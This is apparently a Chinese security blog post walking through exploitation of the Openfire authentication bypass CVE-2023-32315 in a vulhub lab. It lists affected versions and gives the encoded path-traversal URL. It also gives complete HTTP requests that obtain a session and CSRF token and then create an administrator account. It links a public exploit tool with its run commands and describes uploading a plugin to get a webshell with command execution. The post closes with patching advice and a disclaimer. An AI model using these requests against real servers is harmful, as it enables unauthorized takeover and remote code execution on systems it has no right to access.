日期:2023-12-20 作者:hdsec 介绍:本文介绍一下Openfire身份认证绕过漏洞(CVE-2023-32315)。
在某次演练中遇到Openfire
,于是整理了本文,如有不妥之处还望指正。
Openfire
是一个开源的实时协作服务器,也被称为XMPP
(Extensible Messaging and Presence Protocol)服务器。它是基于Java
语言开发的,提供了一套完整的实时通信解决方案。Openfire
支持即时消息传递、在线状态监测、群组聊天、文件传输等功能。它使用XMPP
协议作为通信协议,这个协议被广泛应用于即时通讯、社交网络和物联网等领域。Openfire
具有可扩展性强、易于部署和管理的特点,因此在企业内部通讯、社交平台、在线客服等场景中得到了广泛应用。
3.10.0 <= Openfire < 4.6.8
4.7.0 <= Openfire 4.7.x < 4.7.5
vulhub
漏洞环境:
https://github.com/vulhub/vulhub/tree/master/openfire/CVE-2023-32315
执行如下命令启动一个4.7.4
版本的Openfire
:
docker-compose up -d
服务器启动后,访问http://your-ip:9090
跳转到登录页面。
访问如下链接:
http://x.x.x.:9090/setup/setup-s/%u002e%u002e/%u002e%u002e/log.jsp
成功访问到未授权日志文件,证明存在Openfire
管理后台认证绕过漏洞。
获取JSESSIONID
和csrf
:
GET /setup/setup-s/%u002e%u002e/%u002e%u002e/user-groups.jsp HTTP/1.1
Host: x.x.x.x:9090
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Content-Length: 2
使用获取到JSESSIONID
和csrf
创建用户admin123/admin123
。
GET /setup/setup-s/%u002e%u002e/%u002e%u002e/user-create.jsp?csrf=SM0rG58cmPWkkiR&username=admin123&name=&email=&password=admin123&passwordConfirm=admin123&isadmin=on&create=Create+User HTTP/1.1
Host: x.x.x.x:9090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.91 Safari/537.36
Connection: close
Cache-Control: max-age=0
Cookie: JSESSIONID=node0emorecgj3xmr1cq89bo05r05v176.node0;csrf=SM0rG58cmPWkkiR
使用创建的用户名和密码可成功登录系统。
除了利用上面手工方法创建用户,我们还可以利用github
上的漏洞利用工具:
https://github.com/tangxiaofeng7/CVE-2023-32315-Openfire-Bypass
cd CVE-2023-32315-Openfire-Bypass/scan_all
go mod tidy
go run main.go -u http://x.x.x.x:9090
可直接创建用户名密码。
登录后台,在Plugins
功能处上传从github
上下载的插件。
https://github.com/tangxiaofeng7/CVE-2023-32315-Openfire-Bypass/releases/tag/v0.1`
上传成功后在server
- server settings
功能处发现发现shell Plugins
,成功得到webshell
。
输入管理密码123
,可进行命令执行。
通常,开源软件在使用中可能会发现安全漏洞,并且开发者会不断努力修复这些漏洞并发布更新版本。如果你正在使用Openfire
,建议你遵循以下步骤来确保系统的安全性:
及时更新:定期检查Openfire
的官方网站或邮件列表,获取最新的安全更新和补丁,并及时应用到你的系统中。
强化安全设置:配置Openfire
的安全设置,例如限制访问、强密码策略等。
检查插件和扩展:审查安装的插件和扩展是否来自可信的来源,并确保它们是最新版本,以降低潜在的安全风险。
定期安全审计:进行系统安全审计,识别潜在的漏洞,并采取适当的措施来加强安全性。
文章来源:宸极实验室
黑白之道发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担!
如侵权请私聊我们删文
END